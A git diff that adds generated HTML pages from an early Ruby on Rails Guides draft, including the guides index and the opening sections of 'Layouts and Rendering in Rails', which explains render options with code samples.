+<span style="color: #FF0000"><%= link_to 'Back', posts_path %></span>
+<span style="color: #FF0000"><%= link_to 'Manage Comments', post_comments_path(@post) %></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that each post has its own individual comments collection, accessible as <tt>@post.comments</tt>. That's a consequence of the declarative associations in the models. Path helpers such as <tt>post_comments_path</tt> come from the nested route declaration in <tt>config/routes.rb</tt>.</p></div>
+</div>
+<h2 id="_what_s_next">8. What's Next?</h2>
+<div class="sectionbody">
+<div class="para"><p>Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The [http://manuals.rubyonrails.org/]Ruby On Rails guides
+</p>
+</li>
+<li>
+<p>
+The <a href="http://groups.google.com/group/rubyonrails-talk">Ruby on Rails mailing list</a>
+</p>
+</li>
+<li>
+<p>
+The #rubyonrails channel on irc.freenode.net
+</p>
+</li>
+<li>
+<p>
+The <a href="http://wiki.rubyonrails.org/rails">Rails wiki</a>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">9. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 16, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+October 13, 2008: First complete draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+October 12, 2008: More detail, rearrangement, editing by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+September 8, 2008: initial version by James Miller (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/index.html b/railties/doc/guides/html/index.html new file mode 100644 index 0000000000..c3577e98ea --- /dev/null +++ b/railties/doc/guides/html/index.html @@ -0,0 +1,381 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Ruby on Rails guides</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" class="notoc"> + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container" class="notoc"> + + <div id="content"> + <h1>Ruby on Rails guides</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">This page is the result of ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a> and a work in progress.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</td>
+</tr></table>
+</div>
+<h2>Start Here</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="getting_started_with_rails.html">Getting Started with Rails</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/2">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>Everything you need to know to install Rails and create your first application.</p></div>
+</div></div>
+<h2>Models</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="migrations.html">Rails Database Migrations</a></div>
+<div class="para"><p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="association_basics.html">Active Record Associations</a></div>
+<div class="para"><p>This guide covers all the associations provided by Active Record.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="finders.html">Active Record Finders</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/16">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide covers the find method defined in ActiveRecord::Base, as well as named scopes.</p></div>
+</div></div>
+<h2>Views</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></div>
+<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View,
+including rendering and redirecting, using +content_for_ blocks, and working
+with partials.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="form_helpers.html">Action View Form Helpers</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/1">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>Guide to using built in Form helpers.</p></div>
+</div></div>
+<h2>Controllers</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="routing_outside_in.html">Rails Routing from the Outside In</a></div>
+<div class="para"><p>This guide covers the user-facing features of Rails routing. If you want to
+understand how to use routing in your own Rails applications, start here.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="actioncontroller_basics.html">Basics of Action Controller</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/17">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="caching_with_rails.html">Rails Caching</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/10">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide covers the three types of caching that Rails provides by default.</p></div>
+</div></div>
+<h2>Digging Deeper</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="testing_rails_applications.html">Testing Rails Applications</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/8">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This is a rather comprehensive guide to doing both unit and functional tests
+in Rails. It covers everything from “What is a test?” to the testing APIs.
+Enjoy.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="security.html">Securing Rails Applications</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/7">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This manual describes common security problems in web applications and how to
+avoid them with Rails.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="debugging_rails_applications.html">Debugging Rails Applications</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/5">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide describes how to debug Rails applications. It covers the different
+ways of achieving this and how to understand what is happening "behind the scenes"
+of your code.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="benchmarking_and_profiling.html">Benchmarking and Profiling Rails Applications</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/4">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide covers ways to analyze and optimize your running Rails code.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="creating_plugins.html">The Basics of Creating Rails Plugins</a></div>
+<div class="para"><p>This guide covers how to build a plugin to extend the functionality of Rails.</p></div>
+</div></div>
+<div class="para"><p>Authors who have contributed to complete guides are listed <a href="authors.html">here</a>.</p></div>
+<div class="para"><p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 License</a></p></div>
+</div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/layouts_and_rendering.html b/railties/doc/guides/html/layouts_and_rendering.html new file mode 100644 index 0000000000..35d9e670b1 --- /dev/null +++ b/railties/doc/guides/html/layouts_and_rendering.html @@ -0,0 +1,1199 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Layouts and Rendering in Rails</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_overview_how_the_pieces_fit_together">Overview: How the Pieces Fit Together</a> + </li> + <li> + <a href="#_creating_responses">Creating Responses</a> + <ul> + + <li><a href="#_rendering_by_default_convention_over_configuration_in_action">Rendering by Default: Convention Over Configuration in Action</a></li> + + <li><a href="#_using_tt_render_tt">Using <tt>render</tt></a></li> + + <li><a href="#_using_tt_redirect_to_tt">Using <tt>redirect_to</tt></a></li> + + <li><a href="#_using_tt_head_tt_to_build_header_only_responses">Using <tt>head</tt> To Build Header-Only Responses</a></li> + + </ul> + </li> + <li> + <a href="#_structuring_layouts">Structuring Layouts</a> + <ul> + + <li><a href="#_asset_tags">Asset Tags</a></li> + + <li><a href="#_understanding_tt_yield_tt">Understanding <tt>yield</tt></a></li> + + <li><a href="#_using_tt_content_for_tt">Using <tt>content_for</tt></a></li> + + <li><a href="#_using_partials">Using Partials</a></li> + + </ul> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Layouts and Rendering in Rails</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Use the various rendering methods built in to Rails
+</p>
+</li>
+<li>
+<p>
+Create layouts with multiple content sections
+</p>
+</li>
+<li>
+<p>
+Use partials to DRY up your views
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_overview_how_the_pieces_fit_together">1. Overview: How the Pieces Fit Together</h2>
+<div class="sectionbody">
+<div class="para"><p>This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.</p></div>
+<div class="para"><p>In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.</p></div>
+</div>
+<h2 id="_creating_responses">2. Creating Responses</h2>
+<div class="sectionbody">
+<div class="para"><p>From the controller's point of view, there are three ways to create an HTTP response:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Call <tt>render</tt> to create a full response to send back to the browser
+</p>
+</li>
+<li>
+<p>
+Call <tt>redirect_to</tt> to send an HTTP redirect status code to the browser
+</p>
+</li>
+<li>
+<p>
+Call <tt>head</tt> to create a response consisting solely of HTTP headers to send back to the browser
+</p>
+</li>
+</ul></div>
+<div class="para"><p>I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.</p></div>
+<h3 id="_rendering_by_default_convention_over_configuration_in_action">2.1. Rendering by Default: Convention Over Configuration in Action</h3>
+<div class="para"><p>You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your <tt>BooksController</tt> class:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails will automatically render <tt>app/views/books/show.html.erb</tt> after running the method. In fact, if you have the default catch-all route in place (<tt>map.connect <em>:controller/:action/:id</em></tt>), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for <tt>/books/sale_list</tt>, Rails will render <tt>app/views/books/sale_list.html.erb</tt> in response.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The actual rendering is done by subclasses of <tt>ActionView::TemplateHandlers</tt>. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are <tt>.erb</tt> for ERB (HTML with embedded Ruby), <tt>.rjs</tt> for RJS (javascript with embedded ruby) and <tt>.builder</tt> for Builder (XML generator). You'll also find <tt>.rhtml</tt> used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.</td>
+</tr></table>
+</div>
+<h3 id="_using_tt_render_tt">2.2. Using <tt>render</tt></h3>
+<div class="para"><p>In most cases, the <tt>ActionController::Base#render</tt> method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of <tt>render</tt>. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you want to see the exact results of a call to <tt>render</tt> without needing to inspect it in a browser, you can call <tt>render_to_string</tt>. This method takes exactly the same options as <tt>render</tt>, but it returns a string instead of sending a response back to the browser.</td>
+</tr></table>
+</div>
+<h4 id="_rendering_nothing">2.2.1. Rendering Nothing</h4>
+<div class="para"><p>Perhaps the simplest thing you can do with <tt>render</tt> is to render nothing at all:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>nothing <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You should probably be using the <tt>head</tt> method, discussed later in this guide, instead of <tt>render :nothing</tt>. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.</td>
+</tr></table>
+</div>
+<h4 id="_using_tt_render_tt_with_tt_action_tt">2.2.2. Using <tt>render</tt> with <tt>:action</tt></h4>
+<div class="para"><p>If you want to render the view that corresponds to a different action within the same template, you can use <tt>render</tt> with the <tt>:action</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
+ redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"edit"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If the call to <tt>update_attributes_ fails, calling the +update</tt> action in this controller will render the <tt>edit.html.erb</tt> template belonging to the same controller.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Using <tt>render</tt> with <tt>:action</tt> is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does <em>not</em> run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling <tt>render</tt>.</td>
+</tr></table>
+</div>
+<h4 id="_using_tt_render_tt_with_tt_template_tt">2.2.3. Using <tt>render</tt> with <tt>:template</tt></h4>
+<div class="para"><p>What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the <tt>:template</tt> option to <tt>render</tt>, which accepts the full path (relative to <tt>app/views</tt>) of the template to render. For example, if you're running code in an <tt>AdminProductsController</tt> that lives in <tt>app/controllers/admin</tt>, you can render the results of an action to a template in <tt>app/views/products</tt> this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>template <span style="color: #990000">=></span> <span style="color: #FF0000">'products/show'</span>
+</tt></pre></div></div>
+<h4 id="_using_tt_render_tt_with_tt_file_tt">2.2.4. Using <tt>render</tt> with <tt>:file</tt></h4>
+<div class="para"><p>If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the <tt>:file</tt> option to <tt>render</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=></span> <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>:file</tt> option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">By default, if you use the <tt>:file</tt> option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the <tt>:layout ⇒ true</tt> option</td>
+</tr></table>
+</div>
+<h4 id="_using_tt_render_tt_with_tt_inline_tt">2.2.5. Using <tt>render</tt> with <tt>:inline</tt></h4>
+<div class="para"><p>The <tt>render</tt> method can do without a view completely, if you're willing to use the <tt>:inline</tt> option to supply ERB as part of the method call. This is perfectly valid:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=></span> <span style="color: #FF0000">"<% products.each do |p| %><p><%= p.name %><p><% end %>"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.</td>
+</tr></table>
+</div>
+<div class="para"><p>By default, inline rendering uses ERb. You can force it to use Builder instead with the <tt>:type</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=></span> <span style="color: #FF0000">"xml.p {'Horrid coding practice!'}"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=></span> <span style="color: #990000">:</span>builder
+</tt></pre></div></div>
+<h4 id="_using_tt_render_tt_with_tt_update_tt">2.2.6. Using <tt>render</tt> with <tt>:update</tt></h4>
+<div class="para"><p>You can also render javascript-based page updates inline using the <tt>:update</tt> option to <tt>render</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>update <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>page<span style="color: #990000">|</span>
+ page<span style="color: #990000">.</span>replace_html <span style="color: #FF0000">'warning'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Invalid options supplied"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.</td>
+</tr></table>
+</div>
